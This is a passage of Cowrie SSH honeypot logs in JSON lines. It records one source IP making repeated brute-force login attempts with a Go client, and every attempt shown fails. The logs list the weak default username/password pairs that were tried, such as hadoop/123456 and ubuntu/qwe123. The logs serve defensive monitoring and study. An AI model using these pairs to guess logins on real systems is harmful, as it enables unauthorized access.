01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:19.407731Z","src_ip":"192.109.200.237","session":"937e27dee1f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser123","message":"login attempt [esuser/esuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:19.656817Z","src_ip":"192.109.200.237","session":"937e27dee1f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:20.742410Z","src_ip":"192.109.200.237","session":"937e27dee1f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43280,"dst_ip":"159.203.135.109","dst_port":22,"session":"8732e7693579","protocol":"ssh","message":"New connection: 192.109.200.237:43280 (159.203.135.109:22) [session: 8732e7693579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:22.563156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:22.568396Z","src_ip":"192.109.200.237","session":"8732e7693579","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:22.650152Z","src_ip":"192.109.200.237","session":"8732e7693579","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"123456","message":"login attempt [root2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:22.896297Z","src_ip":"192.109.200.237","session":"8732e7693579","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:23.981448Z","src_ip":"192.109.200.237","session":"8732e7693579","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43282,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d78847e6a1b","protocol":"ssh","message":"New connection: 192.109.200.237:43282 (159.203.135.109:22) [session: 5d78847e6a1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:25.690779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:25.696062Z","src_ip":"192.109.200.237","session":"5d78847e6a1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:25.796983Z","src_ip":"192.109.200.237","session":"5d78847e6a1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:26.134300Z","src_ip":"192.109.200.237","session":"5d78847e6a1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:27.219979Z","src_ip":"192.109.200.237","session":"5d78847e6a1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43298,"dst_ip":"159.203.135.109","dst_port":22,"session":"98910572afdf","protocol":"ssh","message":"New connection: 192.109.200.237:43298 (159.203.135.109:22) [session: 98910572afdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:29.051856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:29.056263Z","src_ip":"192.109.200.237","session":"98910572afdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:29.138358Z","src_ip":"192.109.200.237","session":"98910572afdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123","message":"login attempt [ubuntu/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:29.385835Z","src_ip":"192.109.200.237","session":"98910572afdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:30.477407Z","src_ip":"192.109.200.237","session":"98910572afdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43876,"dst_ip":"159.203.135.109","dst_port":22,"session":"5560e17d1aef","protocol":"ssh","message":"New connection: 192.109.200.237:43876 (159.203.135.109:22) [session: 5560e17d1aef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:32.213298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:32.218261Z","src_ip":"192.109.200.237","session":"5560e17d1aef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:32.305353Z","src_ip":"192.109.200.237","session":"5560e17d1aef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:32.552785Z","src_ip":"192.109.200.237","session":"5560e17d1aef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:33.638441Z","src_ip":"192.109.200.237","session":"5560e17d1aef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43880,"dst_ip":"159.203.135.109","dst_port":22,"session":"241ba66702dc","protocol":"ssh","message":"New connection: 192.109.200.237:43880 (159.203.135.109:22) [session: 241ba66702dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:35.435817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:35.440241Z","src_ip":"192.109.200.237","session":"241ba66702dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:35.522110Z","src_ip":"192.109.200.237","session":"241ba66702dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb@1234","message":"login attempt [tidb/tidb@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:35.768745Z","src_ip":"192.109.200.237","session":"241ba66702dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:36.901424Z","src_ip":"192.109.200.237","session":"241ba66702dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43894,"dst_ip":"159.203.135.109","dst_port":22,"session":"a733fa3c0caf","protocol":"ssh","message":"New connection: 192.109.200.237:43894 (159.203.135.109:22) [session: a733fa3c0caf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:38.600512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:38.605564Z","src_ip":"192.109.200.237","session":"a733fa3c0caf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:38.687930Z","src_ip":"192.109.200.237","session":"a733fa3c0caf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:38.959419Z","src_ip":"192.109.200.237","session":"a733fa3c0caf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:40.044350Z","src_ip":"192.109.200.237","session":"a733fa3c0caf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53930,"dst_ip":"159.203.135.109","dst_port":22,"session":"873b35df809b","protocol":"ssh","message":"New connection: 192.109.200.237:53930 (159.203.135.109:22) [session: 873b35df809b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:41.808742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:41.813879Z","src_ip":"192.109.200.237","session":"873b35df809b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:41.949057Z","src_ip":"192.109.200.237","session":"873b35df809b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc123","message":"login attempt [test/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:42.275702Z","src_ip":"192.109.200.237","session":"873b35df809b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:43.360599Z","src_ip":"192.109.200.237","session":"873b35df809b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53956,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d69b70c7c6f","protocol":"ssh","message":"New connection: 192.109.200.237:53956 (159.203.135.109:22) [session: 2d69b70c7c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:45.184910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:45.190775Z","src_ip":"192.109.200.237","session":"2d69b70c7c6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:45.275389Z","src_ip":"192.109.200.237","session":"2d69b70c7c6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"work","password":"work","message":"login attempt [work/work] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:45.527996Z","src_ip":"192.109.200.237","session":"2d69b70c7c6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:12:46.615274Z","src_ip":"192.109.200.237","session":"2d69b70c7c6f","protocol":"ssh"}
